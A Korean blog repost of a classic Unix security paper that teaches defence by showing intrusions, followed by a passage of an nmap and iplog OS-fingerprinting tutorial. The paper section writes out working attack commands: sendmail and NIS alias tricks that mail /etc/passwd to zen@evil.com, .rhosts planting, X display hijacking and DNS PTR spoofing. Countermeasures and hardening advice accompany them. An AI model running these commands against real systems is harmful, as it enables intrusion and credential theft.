    있으며 어떤 클라이언트 호스트와 사용자 정보를 서버에게 보내면 서버는 이 명령을
    실행하게 된다. 이러한 이유로 rexed를 이용하는 것은 아무 패스워드를 가지고 있지
    않는 것과 같으며 클라이언트에 보안 책임이 있게 된다. rexed의 보안은 secure
    rpc를 사용함으로서 이루어질 수 있다.
        
    ---------------------------------------------------------------------------

    rpcinfo의 결과에 따라 우리는 victim.com이 디스크없는 워크스테이션을 위한 서버  
    임을 알 수 있다. 이것은 디스크없는 워크스테이션의 부팅을 위한 bootparam이 있는
    것을 보고 알 수 있다. 만약 BOOTPARAMPROC_WHOAMI와 클라이언트의 어드레스를 이용
    하여 잘 요청하면 NIS 도메인네임을 알수 있다. 이것은 도메인네임을 알아 NIS 맵(
    예를 들어 패스워드 파일과 같은 것)과 잘 결합하면 우수한 효과를 가질 수 있다.
    여기 간단한 사례 프로그램이 있다.(bootparam 은 SATAN의 일부)
             
       char   *server;
       struct bp_whoami_arg arg;           /* query */
       struct bp_whoami_res res;           /* reply */

       /* initializations omitted... */

       callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
               xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);

       printf("%s has nisdomain %s\n", server, res.domain_name);

    "showmout"결과는 victim.com의 디스크없는 워크스테이션들이 쉽다는 것을 알 수    
    있는데, 우리는 이것들의 어드레스를 BOOTPARAMPROC_WHOAMI query에 사용한다.

    evil % bootparam victim.com easy.victim.com
    victim.com has nisdomain foo_bar

    ---------------------------------------------------------------------------

    NIS 마스터는 NIS 도메인 에서의 질문에 대한 mail alias를 제어한다. 한 시스템    
    에서의 mail alias 파일 처럼 메일이 전송될때 명령어를 실행하도록 mail alias
    를 만들 수 있다. 가장 흔한 사례는 메일을 전달할 때 uudecode 를 실행하는
    "decode" alias 이다. 예를 들어 "foo" 라는 alias 를 만들어 다음과 같이
    단순히 메일을 보냄으로서 evil.com으로 패스워드를 메일로 보내게금 할 수 있다.
      
    nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
    nis-master # cd /var/yp
    nis-master # make aliases
    nis-master # echo test | mail -v foo@victim.com

    침입자가 NIS마스터 호스트에 대한 제어를 갖지 않아야 하겠지만, 또한 명백한      
    교훈은 NIS가 보안이 적절하지 않아, 침입자가 NIS 마스터를 제어할 수 있다면
    침입자는 클라이언트에 명령을 실행하는 것과 같은 식으로 디스크없는 워크스테
    이션에 대해 제어할 수 있다.                                                    

    클라이어트와 서버사이에 적절한 인증방법이 제공되지 않은 보안이 적절하지 못한   
    NIS 공격에 대한 여러가지 대응책이 없는 편이다. 더우기 나쁜 것은 어떤 맵은
    마스터 서버에게도 강요될 수 있어서 NIS서버가 클라이언트가 되도록 조정할 수
    있기도 하다. 만약 꼭 NIS를 사용하고자 한다면 도메인네임이 쉽게 짐작할 수
    없도록 하는 것이 조금 도움이 될 것이다. 이 경우 만약 잠재적인 공격자에게
    디스크 없는 클라이언트가 공개된다면 도메인네임을 얻기위한 bootparam 트릭을
    사용하는 간단한 방법이 소용없게 만들 수 있다.만약 NIS가 패스워드 맵을 전파하기
    위해 사용된다면 이미 root 권한을 가진 침입자가 아직도 접근할 수 있으므로
    shadow 패스워드는 더 이상 좋은 보안이 되질 않는다. 좋은 것은 NIS를 사용하지
    않는 것이며, 맵이 잠재적으로 어떠한 강제에의해 종속되지 않도록 최소화하는
    것이다.

    Secure RPC는 이러한 위협을 막는 또 다른 방버이긴 하지만 이것은 관리하기에도    
    어려우며 여기에서 사용된 암호 기법이 우수하지도 않다. SUN이 새롭게 선보인
    NIS+가 이러한 문제점을 해결하였다고 하지만 제한된 SUN에서만 동작하며 원래의
    설계 상의 잇점을 살릴 수도 없다. 마지막으로 패킷 필터링(port 111)을 이용하거
    나 Securelib, SUN의 sunpatch 100482-02 가 도움이 될 것이다.
        

    ---------------------------------------------------------------------------

    portmapper 는 단지 rpc 서비스에 대해서만 알려주는 것은 아니다. 다른 네         
    트워크 서비스에  대해서도 모든 네트워크 포트에  대해 강제적인 방법으로
    위치시킬 수 있다.  마치 sendmail은 25번, telnet 은 23  번, x window 는
    6000 번 이듯이 모든 네트워크 서비스는 특정 포트에 대해 듣고있다. SATAN
    은 원격지 시스템에 대해  네트워크 포트를 스캐닝하며 발견한 정보를 보고
    하는 프로그램을 가지고 있다.   목표시스템에 대해 실행하면 다음을 볼 수
    있다.

    evil % tcpmap victim.com
    Mapping 128.128.128.1
    port 21: ftp
    port 23: telnet
    port 25: smtp
    port 37: time
    port 79: finger
    port 512: exec
    port 513: login
    port 514: shell
    port 515: printer
    port 6000: (X)

    이  시스템은 X  Window 시스템을  실행하고  있다는 것을  알려준다. 만약         
    magic cookie 나 xhost 메카니즘 등을 실행하여 적절히 보호하고 있지 않고
    있다면, 원도우 디스플레이가 캡춰당하거나 보일 수 있으며, 혹은 사용자의
    키입력이 도용되거나 프로그램이 원격지에서  실행될 수 있다. 그리고 목표
    시스템이 X 를  실행하고 포트 6000번으로의 telnet  을 받아들인다면 목표
    시스템의 x window 시스템의 동작을 일시 정지시키는 것과 같은 서비스거부
    공격에 이용될  수 있다.   X 서버의 취약점을  알 수  있는 또다른 방법은
    XOpenDisplay() 함수를 이용하는 것으로서  만약 이 함수가 NULL 을 반환한
    다면 목표의 디스플레이에 접근할 수 없다. 이 기능은 SATAN에 포함된 기능
    이다.  

       char   *hostname;

       if (XOpenDisplay(hostname) == NULL) {
          printf("Cannot open display: %s\n", hostname);
       } else {
          printf("Can open display: %s\n", hostname);
       }

    evil % opendisplay victim.com:0
    Cannot open display: victim.com:0

    완전한 유닉스 보다는 떨어지는 X  터미널도 자체의 보안문제를 가질 수 있         
    다. 많은 X 터미널은 제한이  없는 rsh 접근을 허용하고 있으며, 이것은 목
    표시스템의 터미널에서 X 클라이언트를  시작하게 하면서 결과가 자신의 스
    크린에 나오게 할 수 있는 것이다.

    evil % xhost +xvictim.victim.com
    evil % rsh xvictim.victim.com telnet victim.com -display evil.com

    어떤 경우에도 패스워드 없는 계정이나  hosts.eqiv 의 "+" 처럼 당신의 시         
    스템의 보안을 침해하는 것과 같은  파일시스템과 네트워크 보안 처럼 X 윈
    도우의 보안도 많은 생각을 하게금 한다.

    ---------------------------------------------------------------------------
    이제는 sendmail을 보자. sendmail은 이제는 대부분의 시스템에서 못쓰게금         
    되어있기는 하지만 악명높은 "wiz" 명령의 문제를 포함한 많은 보안 문제를
    가지고 있는 매우 복잡한 프로그램이다. sendmail 이 반환한 버젼번호를 보
    아 목표시스템의 OS 나 때때로 버젼번호 등을 알 수 있다. 이것은 여러가지
    버그들 중 어떤 취약점이 해당하는지를 알수있게금 한다. 더우기 만약 상대
    편이 "decode" alias 를 가지고 있다면 많은 문제를 알 수 있는 것이다.

    evil % telnet victim.com 25
    connecting to host victim.com (128.128.128.1.), port 25
    connection open
    220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
    expn decode
    250 <"|/usr/bin/uudecode">
    quit

    "decode" alias  는 매우 위험한 보안문제를  야기하는데, 이것은 공격자가         
    어떤 파일에 대해 쓰기를 할  수 있도록한다. 특히 대부분은 소유주가 데몬
    인 파일이지만 잠재적으로는 어떤 사용자의 파일도 가능한 것이다. 다음 메
    일을 보면 이것은 "evil.com" 의 zen 사용자의 .rhosts 파일을 보내는 것이
    다.

    evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com

    만약 어떠한 홈 디렉토리도 못찾고  또한 쓰기를 할 수 없다면 다른 변형으         
    로서 목표시스템에 어떤  명령을 실행하도록 /etc/aliases.pag 파일에 무언
    가  첨가하는  것이다.  대부분의  시스템들이  메일  alias  를  제어하는
    /etc/aliases.pag나 aliases.dir 파일들이  완전히 쓰기 개방되어있어 성공
    할 가능성이 높다.

    evil % cat decode
    bin: "| cat /etc/passwd | mail zen@evil.com"
    evil % newaliases -oQ/tmp -oA`pwd`/decode
    evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
    evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null

    만약 vrfy로 어드레스를 확인하거나  expn 을 통해 어드레스 확장이 된다는         
    것을 sendmail 과의  대화를 통해 알 수있다면 많은  것을 발견할 수 있다.
    finger나 rusers 를 사용할 수 없을  때 vrfy 나 expn 는 사용자나 목표 시
    스템을 확인하는데 사용될  수 있다. Vrfy 나 expn  은 vacation 이나 mail
    sorter 와 같은  문제있는 프로그램과의 파이프를 찾는데  사용될 수 있다.
    vrfy 와 expn 등을  금지하는 것이 좋은데 대부분의 버젼에서는 srvrsmtp.c
    의 소스를 보고 CmdTab structure내  "vrfy" 와 "expn" 라인을 지우거나 바
    꾸는 것이 좋다. 소스가 없는 곳에서도 바이너리 에디터를 통해 2개의 스트
    링을 공백으로 교체하여 지울 수 있다. 부록 D 에서 보이는 것과 같이 최신
    의 sendmail 버젼으로 교체하는 것도 하나의 방법이다.
                                                                                  
    ---------------------------------------------------------------------------

    sendmail-sendoff  에서도  잘  알려진  버그가  2개  있다.  처음  버그는         
    Berkeley 에서 5.59 버젼에서 분명하게 문제를 해결하였다. 이전 버젼에 대
    해서는 "evil.com"이 에러메세지에도  불구하고 지정한 파일이 메일 헤더에
    첨부되어 받을 수 있다.

    % cat evil_sendmail
    telnet victim.com 25 << EOSM
    rcpt to: /home/zen/.rhosts
    mail from: zen
    data
    random garbage
    .
    rcpt to: /home/zen/.rhosts
    mail from: zen
    data
    evil.com
    .
    quit
    EOSM

    evil % /bin/sh evil_sendmail
    Trying 128.128.128.1
    Connected to victim.com
    Escape character is '^]'.
    Connection closed by foreign host.

    evil % rlogin victim.com -l zen
            Welcome to victim.com!
    victim %

    2번째 문제는 최근에 발견된 것으로서 송신자가 어떤 쉘 명령을 정의하거나         
    송신자나 목적지 어드레스 등의 패스이름을 지정하는 것을 허용하는 것이딪
    다. 여기에서 자세한  설명은 생략하지만 usenet news  나 기타에서 알려진
    바가 있으므로 생략하며 대부분의 sendmail 에서 문제가 있다. 하지만 대표
    적인 공격 형태는 다음과 같다.

    evil % telnet victim.com 25
    Trying 128.128.128.1...
    Connected to victim.com
    Escape character is '^]'.
    220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
    mail from: "|/bin/mail zen@evil.com < /etc/passwd"
    250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
    rcpt to: nosuchuser
    550 nosuchuser... User unknown
    data
    354 Enter mail, end with "." on a line by itself
    .
    250 Mail accepted
    quit
    Connection closed by foreign host.
    evil %

    지금 sendmail 버젼  8.6.4 는 단지 몇몇  엄체에서만 많은 보안취약점들을         
    해결하고 있는 것으로 알려지고 있으며 부록 D 를 참고하기 바란다.


    Trust

    우리의 마지막 주제로서 약간  이론적인 입장에서 신뢰(Trust) 문제를 살펴         
    보기로 한다. 이것은 대부분 어떤  기관 내부에서 자원 공유의 입장에서 패
    스워드나 기타 인증 방법을 통하지 않는 것을 의미하는데, 클라이언트에 대
    한 제한을 어떻게 할 수 있나에 대해 말하려는 것이다.

    호스트가  신뢰하는  방법은 여러가지가  있을  수  있다. hosts.equiv  나
    .rhosts 에서 패스워드를 묻지 않고 접근을 허용하는 방법, 원격지시스템이
    권한을 사용하거나 남용하도록 해주는 X  서버, NFS 제어를 통한 파일의 개
    방 등이다. 모든 것들은 클라이언트들의 어드레스를 호스트이름으로 변환할
    때  이 서비스를  받을수  있을지 없을지가  결정된다.  직접  하는 방법은
    /etc/hosts 를 이용한 간단한 방법이며, 현재는 대부분이 DNS, NIS 등을 이
    용하고 있다. 클라이언트가 접속 요청시  IP 어드레스에 의해 역 lookup 이
    이루어져 원하는 클라이언트인지 확인을 바라게 된다.                             

    이러한 확인 방법에 대해  많는 관리자들이 이해하고 있지만 중요한 실질적         
    인 보안문제는 호스트이름 위장의  경우이다. 이것은 단순히 관리자들이 잘
    알고 있는 hosts.equiv 나 .rhosts  문제, X 윈도우, NFS 문제의 차원을 넘
    어선 문제이다. 어떠한 신뢰이라 할지라도 위장되거나 무력화되거나 바꿔치
    기 될 수 있는데,이는 서버의 관리영역 밖에 있는 authority 가 클라이언트
    트의 신뢰성(Credential)을  점검하거나 신뢰하는  메카니즘이 매우 취약한
    경우에서 비롯되는 것이다. 명백히 NIS, DNS 등에서의 데이타베이스가 만약
    침해 당했다면 침입자는 신뢰하는  시스템에서의 접근인 것 처럼 위장할 수
    있으며, 이것으로 목표시스템이 신뢰하는  어떤 호스트가 있는지 충분히 알
    수 있기 때문이다. 이 작업은 시스템관리자나 root 와 같은 계정이 어떤 호
    스트에서 접근하는지를 검사하면 매우 도움이 된다.

    다시 victim.com 의 사례로 돌아가서 관리자가 big.victim.com 에서 접근하         
    는  것을 알았다고  가정해보자.  evil.com의 DNS  PTR  레코드를 교체하여
    evil.com 에서 victim.com 으로 rlogin 하려하면 victim.com 은 호스트이름
    을 보려고 하여 교체한 레코드를 보게될 것이다.

    다음은 원래의 PTR 레코드와 교체한 PTR 레코드이다.

    원래 PTR   1.192.192.192.in-addr.arpa     IN      PTR     evil.com

    수정 PTR   1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com

    다음에는 victim.com 에  달려있는데, big.victim.com 이 /etc/hosts.equiv         
    나 .rhosts 에 존재한다면 접속을  허용하여 패스워드 없이 접근할 수 있을
    것이다. NIS 에서는 침입자가 만약 NIS 마스터를 제어하고 있다면 호스트데
    이타베이스를 수정하는 것은  더욱 쉬운 일이며, 원하는  정보를 가진 목표
    시스템을 이용하여 NIS 를 위장하거나 강제화할 수 있을 것이다.

    이러한 공격을 막기위한 2가지  방법이 있다. 첫째는 매우 직접적이지만 비
    현실적인 것으로서 단순히 어떠한 호스트도  믿지 않는 것이다.  다른 방법
    은 암호프로토콜을 사용하는 것으로서 Secure NFS, NIS+ 등의 Secure RPC를
    사용하는 방법인데, 만약 암호가 깨진다 하더라도 암호를 사용하지 않는 기
    존의 인증 방식보다 훨씬 우수하다. 다른 방법으로서 smartcard 하드웨어를
    사용하거나, kerberos  등의 소프트웨어를 사용할 수  있는데, 전자는 아직
    잘 개발된 상태가 아니며, 후자는 시스템의 전반적인 수정이 요구된다.
    부록 B 는 인터넷 여러군데에서 검토한 비공식자료로서 보다 자세히 설명하
    고 있다.


    Protecting the system

    시스템보안을 위한 일반적인 제안들을 보이고자 한다.                             

    - 만약 finger 서비스를 꼭 해야 한다면 수정된 버젼을 설치하라. 사용자의
      홈 디렉토리니, 로그인 한 호스트이름 등을 알릴 필요는 없는 것이다.
    - 절대적으로 필요하지 않다면 NIS 를 사용하지 말것이며, NFS 도 가능한
      사용하지 않는다.
    - 절대로 NFS 파일시스템을 완전히(Worldwide) 공개하지 말것이며, 가능한
      읽기 전용으로 만들어라.
    - 서버를 방어하고 보호한다. 단지 관리할 수 있는 계정만을 허용한다.
    - inetd 나 portmapper 등에서 불필요한 서비스가 없는지 점검한다. 만약
      접속하는 시스템의 로그를 기록하고 싶다면 wrapper 를 사용하는 것이
      좋은데, 표준 유닉스보다 우수한 로그와 특히 네트워크 공격에 대한 기록
      이 우수하다. 그리고 가능한 보안 관련 정보를 입수하기 위해 syslog 의
      loghost 메카니즘을 이용하라.
    - 완벽하게 믿을 수 있는 시스템이 없다면 신뢰하는 호스트를 없앤다.
    - Shadow 패스워드와 잘못된 패스워드를 가려내는 패스워드 명령을 사용
      한다. 사용하지 않는 계정과 시스템을 없앤다.
    - 최근의 자료(참고문헌)와 도구들을 수집하며, 보안 사고 문제나 보안
      관련 문제를 지속적으로 남들과 대화한다. 최소한 CERT mailing list
      와 보안잡지, Firewall mailing list, 보안 관련 뉴스그룹 등에 가입한
      다. 무관심도 보안 문제에 가장 큰 적이다.
    - 기관의 모든 호스트에 대해 가능한 최신 패치를 설치한다.                       

    네트워크 방하벽시스템, Kerberos, 일회용 패스워드시스템 등이 보안문제를         
    해경하는데 도움이 되지만 위에서  여기에서 알려진 이러한 공격에 모무 안
    전한 것은 아니다. 즉 위 3,  4 가지 우수한 보안 기법을 사용하는 것이 좋
    다고 권고하지만 모두 해결되는 것은 아니라는 말이다.


    Conclusions

    Perhaps none of the methods shown here are surprising; when writing this
    paper, we didn't learn very much about how to break into systems. What we
    _did_ learn was, while testing these methods out on our own systems and
    that of friendly sites, just how effective this set of methods is for
    gaining access to a typical (UNIX) Internet host. Tiring of trying to type
    these in all by hand, and desiring to keep our own systems more secure, we
    decided to implement a security tool (SATAN) that attempts to check remote
    hosts for at least some of the problems discussed here. The typical
    response, when telling people about our paper and our tool was something on
    the order of "that sounds pretty dangerous -- I hope you're not going to
    give it out to everybody. But you since you can trust me, may I have a copy
    of it?"

    We never set out to create a cookbook or toolkit of methods and programs on
    how to break into systems -- instead, we saw that these same methods were
    being used, every day, against ourselves and against friendly system
    administrators. We believe that by propagating information that normally
    wasn't available to those outside of the underworld, we can increase
    security by raising awareness. Trying to restrict access to "dangerous"
    security information has never seemed to be a very effective method for
    increasing security; indeed, the opposite appears to be the case, since the
    system crackers have shown little reticence to share their information with
    each other.

    While it is almost certain that some of the information presented here is
    new material to (aspiring) system crackers, and that some will use it to
    gain unauthorized entrance onto hosts, the evidence presented even by our
    ad hoc tests shows that there is a much larger number of insecure sites,
    simply because the system administrators don't know any better -- they
    aren't stupid or slow, they simply are unable to spend the very little free
    time that they have to explore all of the security issues that pertain to
    their systems. Combine that with no easy access to this sort of information
    and you have poorly defended systems. We (modestly) hope that this paper
    will provide badly-needed data on how systems are broken into, and further,
    to explain _why_ certain steps should be taken to secure a system. Knowing
    why something is a problem is, in our opinion, the real key to learning and
    to making an informed, intelligent choice as to what security really means
    for your site.

    ---------------------------------------------------------------------------

    부록 A: SATAN (Security Analysis Tool for Auditing Networks)

    SATAN은 보다 크고 이해하기 쉬운 프로토타입 보안 도구이다.  SATAN 은            
    목표하는 시스템의 일반적이고 도움이 될 정보를 상세하게 보고하거나 네트워
    크와 윈도우 시스템의 버그나 보안 취약요소들을 점검하여 보고한다. 그리고
    결과 데이타에 대해 정해진 규칙에 따른 필터링을 하고 최종 분석 결과를 요약
    하기 위한 전문가프로그램이 사용된다. 이것은 빠르게 처리되지는 않지만 잘
    모듈화되어있으며, 쉽게 수정할 수 있다.
    SATAN 은 여러개의 서브프로그램으로 구성되며, 각각은 Perl, Shell, C  로 구현
    되어 있으며, 각각 주어진 목표를 공격 점검할 수 있다. 추후 확장을 위해서는
    메인 디렉토리에 ".sat"식의 실행프로그램을 추가하면 된다. 드라이버는 주어진
    복표들에 대해  DNS, ping 등으로 존재 유무를 확인하고 실행파일들이 실제 그
    시스템을 공격한다. 결과를 분석하는 필터링, 인터프리트 프로그램이 실행되어
    마지막으로 사용자가 읽을 수 있는 형태로 요약 보고한다.                         

    ---------------------------------------------------------------------------

    부록 B: 전산망 보안 점검 및 분석 사례

    비공식적으로 대학, 군사기관 및 기업체의 200 여호스트 및 40000여개의 계정       
    에 대해 점검을 실행한바 기관의 평균 10%가 .rhosts를 가지고 있었으며 이것
    들은 평균 6개의 신뢰하는 호스트들을 가지고 있었다. 하지만 어떤 경우에는
    100개 이상의 엔트리를 가지거나 심지어 400 여개의 엔트리를 가진 .rhosts 를
    가진 곳도 있었다.  그리고 대부분의 경우 인터넷에 직접 연결되어 있었고 단
    지 하나의 기관만이 방화벽을 운영하고 있었는데, 대부분 기관 외부에 신뢰하
    는호스트들을 가지고 있어 대부분 관리자의 통제 밖에 있다고 보인다. 규모가
    큰 기관들은 .rhosts를 별로 가지고 있지 않았지만 신뢰하지 않는 호스트 뿐 아
    니라 .rhosts 파일의 크기는 대단히 컸다.

    비록 얼마나 많은 엔트리들이 정당한지 확인하기 어려웠고, 특히 와일드카드,       
    "Makefile". "Message-id:", "^Cs^A^C^M^Ci^C^MpNu^L^Z^O" 등에 대해서는
    올바르게 신뢰하는 시스템으로서 구성되었는지를 확인하기 어려웠지만, 각 기
    관은 자신의 보안을 각 사용자에게 맡기고 있다는 것을 알 수 있었다. 많은
    량의 엔트리를 가진 .rhosts 파일의 경우에는 쉘 형태의 코멘트를 많이 가지
    고 있었는데, 대부분의 유닉스에서는 이러한 형태를 올바르게 해석하지 않으
    며, 침입자의 NIS, DNS 로 호스트이 름을 "#"으로 위장한 공격으로 자유롭게
    접근한다.                                

    여기 조사한 기관들이 인터넷에서의 대표적인 기관으로 발하기는 어렵고 사실       
    이 아닐지도 모른다.  하지만 많은 관리자들은 보안연구나 보안제품에 대해 작
    업들을 많이 하고 있었을 뿐만 아니라 취미나 전문으로 프로그램을 만들고 보
    안 관련 작업을 많이 하고 있었던 것으로 보인다.                                 

    ---------------------------------------------------------------------------

    부록 C: 시스템 진단 사례

    우리가 가진 시스템의 하나에서 출발한 침입을 알리는 전자우편을 받고 조사에      
    착수하여  어떤 기업체에서 온 침입자가 패스워드를 훔치기 쉬운 기관들을 검
    토하고 있는 것을 발견하였다. 이때 패스워드를 훔치기 쉬운 기관이란 NIS 도
    메인이름을 쉽게 유추할 수 있다든가 NIS 서버에 쉽게 접근할 수 있는 기관을
    의미한다. 침입자가 얼마나 진전이 있었는지 는 모르지만 이 기관에 경고를 주
    는 일을 하기로 하였다. 침입자는 656개의 호스트리스트를 가지고 있었는데,
    그중에서 25개의 호스트에서 24개는 쉽게 훔쳐낼 수 있었으며, 이 중 3 분의
    1은 적어도 하나의 패스워드 없는 계정으로 대화형 쉘을 가지고 있었다.  총
    1594개의 패스워드 파일 엔트리에서 낮은 수준의 SUN 시스템에서 10분망에
    50개 이상의 패스워드를 알아내었으며, 40%는 다음 20분 만에, root 의 패스워
    드를 1 시간만에 하나 알아애었다. 마음 며칠 만에는 5개의 root 패스워드를
    알아내었다. 결국 24개(80%)의 패스워드 파일이 적어도 하나의 잘알려진 패스
    워드를 가지고 있었으며, 1594개의 엔트리중 259(6분의 1)개의 패스워드가 쉽
    게 추정 할 수 있었다.                                                          

    ---------------------------------------------------------------------------

    부록 D: 무료 인터넷 보안 자료를 받으려면

    Mailing lists:

      *  The CERT (Computer Emergency Response Team) advisory mailing list.
        Send e-mail to cert@cert.org, and ask to be placed on their mailing
        list.

      *  The Phrack newsletter. Send an e-mail message to phrack@well.sf.ca.us
        and ask to be added to the list.

      *  The Firewalls mailing list. Send the following line to
        majordomo@greatcircle.com:

            subscribe firewalls

      *  Computer Underground Digest. Send e-mail to tk0jut2@mvs.cso.niu.edu,
        asking to be placed on the list.

    Free Software:

    COPS (Computer Oracle and Password System) is available via anonymous ftp
    from archive.cis.ohio-state.edu, in pub/cops/1.04+.

    The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl, in
    pub/security.

    Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28.

    TAMU is a UNIX auditing tool that is part of a larger suite of excellent
    tools put out by a group at the Texas A&M University. They can be gotten
    via anonymous ftp at net.tamu.edu, in pub/security/TAMU.

    Sources for ftpd and many other network utilities can be found in
    ftp.uu.net, in packages/bsd-sources.

    Source for ISS (Internet Security Scanner), a tool that remotely scans for
    various network vulnerabilities, is available via anonymous ftp from
    ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.

    Securelib is available via anonymous ftp from ftp.uu.net, in
    usenet/comp.sources.misc/volume36/securelib.

    The latest version of berkeley sendmail is available via anonymous ftp from
    ftp.cs.berkeley.edu, in ucb/sendmail.

    Tripwire, a UNIX filesystem integrity checker+, is available via anonymous
    ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.

    ---------------------------------------------------------------------------

    참고문헌:

    Baldwin, Robert W., Rule Based Analysis of Computer Security, Massachusetts
    Institute of Technology, June 1987.

    Bellovin, Steve, Using the Domain Name System for System Break-ins, 1992
    (unpublished).

    Massachusetts Institute of Technology, X Window System Protocol, Version
    11, 1990.

    Shimomura, Tsutomu, private communication.

    Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.

    ---------------------------------------------------------------------------

    추천 참고문헌:
    2006/09/08 22:30 2006/09/08 22:30
    이 글에는 트랙백을 보낼 수 없습니다
    출처 블로그 > jks3500님의 블로그
    원본 http://blog.naver.com/jks3500/40002554697
    nmap은 열린 포트를 확인하여 보안 점검을 위한 대표적인 툴이면서
    원치 않는 서버를 대상으로 포트 스캐닝과 시스템의 OS 종류와 버전을 알아내는데 사용되기도 한다.
    최근에 나온 nmap 3.45버전은 오픈된 서비스의 버전 정보까지도 확인시켜준다.

    --------------------------------------------------------------
    # nmap -A -T4 -F localhost

    Starting nmap 3.45 (
    http://www.insecure.org/nmap/ ) at 2003-09-16 22:45 KST
    Interesting ports on truefeel (127.0.0.1):
    (The 1203 ports scanned but not shown below are in state: closed)
    PORT   STATE SERVICE  VERSION
    21/tcp  open ftp    vsFTPd 1.2.0
    25/tcp  open smtp    Sendmail smtpd Securing..214-2.0.0 This is sendmail version 8.12.
    80/tcp  open http    Apache httpd 2.0.44 ((Unix) DAV/2 PHP/4.3.2)
    ... 중략 ...
    Running: Linux 2.4.X|2.5.X
    OS details: Linux Kernel 2.4.0 - 2.5.20, Linux kernel 2.4.20
    Uptime 0.505 days (since Tue Sep 16 10:38:25 2003)

    Nmap run completed -- 1 IP address (1 host up) scanned in 16.859 seconds
    --------------------------------------------------------------

    위에서 보는 것처럼 nmap의 뛰어난 기능으로 어느 OS를 사용하는지 쉽게 알 수 있다.

    이러한 nmap의 OS를 알아내는 기능은 7단계(T1~T7)를 거치게 된다.
    T1 단계에서 열린 포트로 SYN 패킷을 보내고, T2에서 열린 포트로 null 패킷 전송,
    T3에서 열린 포트로 SYN, FIN, URG, PSH 패킷을 전송
    T5 부터는 닫혀진 포트로 비슷한 과정을 거치게 된다.

    자~ 이제 nmap OS fingerprinting을 막는 방법을 알아보자.

    1. iplog 툴

    iplog는 포트 스캐닝으 로깅하는 툴이다. TCP 포트, UDP 포트 스캐닝, TCP null 스캔, FIN 스캔,
    smurf 공격, Xmas 스캔, ping 플러딩, IP fragment 공격 등을 감지할 수 있다.
    procmisc 모드를 지원하여 같은 서브넷으로 들어오는 스캐닝을 감지할 수 있다.
    또한 OS 정보를 숨기기한 목적으로도 사용할 수 있다.

    1) 설치

    http://ojnk.sourceforge.net/ 에서 iplog-2.2.3.tar.gz 을 받아온다.

    --------------------------------------------------------------
    # tar xvfz iplog-2.2.3.tar.gz
    # cd iplog-2.2.3
    # ./configure
    # make
    # make install
    # cp example-iplog.conf /etc/iplog.conf
    --------------------------------------------------------------

    iplog.conf에서 다음 2가지를 수정한다.

    --------------------------------------------------------------
    user nobody          # default는 iplog 사용자로 실행함
    pid-file /var/run/iplog.pid  # default는 /var/run/iplog/iplog.pid 임
    --------------------------------------------------------------

    소스 설치가 귀찮은 분 중
    레드햇 사용자는
    http://www.rpmfind.net/ 에서 iplog-2.2.3-fr2.i386.rpm 받아 설치한다.

    FreeBSD 사용자는 포트 시스템을 이용해서 설치한다.
    실행 파일은 /usr/local/sbin에, 설정파일은 /usr/local/etc에 설치된다.

    --------------------------------------------------------------
    # cd /usr/ports/net/iplog/
    # make install
    # make clean
    --------------------------------------------------------------

    '포트시스템이 뭐에요?' 하는 분은 최준호님이 쓴 글을 참고하기 바란다.
    http://www.bsdnet.co.kr/articles/article.qsp?no=14

    2) 실행

    --------------------------------------------------------------
    # iplog -o -z -i lo (테스트를 위해 lo interface를 지정함)
    --------------------------------------------------------------

    -o 등의 옵션의 의미는 nmap 테스트 후에 알아본다.

    --------------------------------------------------------------
    # nmap -sS -O localhost

    Starting nmap 3.45 (
    http://www.insecure.org/nmap/ ) at 2003-10-29 23:37 KST
    Insufficient responses for TCP sequencing (2), OS detection may be less accurate
    Insufficient responses for TCP sequencing (3), OS detection may be less accurate
    Interesting ports on truefeel (127.0.0.1):
    (The 1651 ports scanned but not shown below are in state: closed)
    PORT   STATE SERVICE
    25/tcp  open smtp
    80/tcp  open http
    ... 중략 ...
    No exact OS matches for host (If you know what OS is running on it, see
    http://www.insecure.org/cgi-bin/nmap-submit.cgi).
    TCP/IP fingerprint:
    SInfo(V=3.45%P=i686-pc-linux-gnu%D=10/29%Time=3F9FD0B9%O=25%C=1)
    T1(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW)
    T2(Resp=Y%DF=Y%W=100%ACK=O%Flags=BAPRSF%Ops=)
    T2(Resp=Y%DF=N%W=0%ACK=O%Flags=BARS%Ops=)
    T2(Resp=Y%DF=Y%W=100%ACK=O%Flags=BPRF%Ops=)
    T3(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW)
    T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
    T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
    T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
    T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
    PU(Resp=N)


    Uptime 0.303 days (since Wed Oct 29 16:21:04 2003)

    Nmap run completed -- 1 IP address (1 host up) scanned in 21.301 seconds
    --------------------------------------------------------------

    nmap은 T1~T7까지 OS 탐지 테스트 과정을 거쳤지만 OS 종류는 알아내지 못했음을 확인했다.
    그럼 도대체 스캐닝 로그는 어디에 있는건가? /etc/iplog.conf 설정에 따라 /var/log/iplog에 저장된다.

    --------------------------------------------------------------
    ... 생략 ...
    Oct 29 23:37:09 ICMP: echo from truefeel (127.0.0.1) (8 bytes)
    Oct 29 23:37:09 TCP: port 5901 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: port 516 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: port 657 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: port 32 connection attempt from truefeel (127.0.0.1):49574
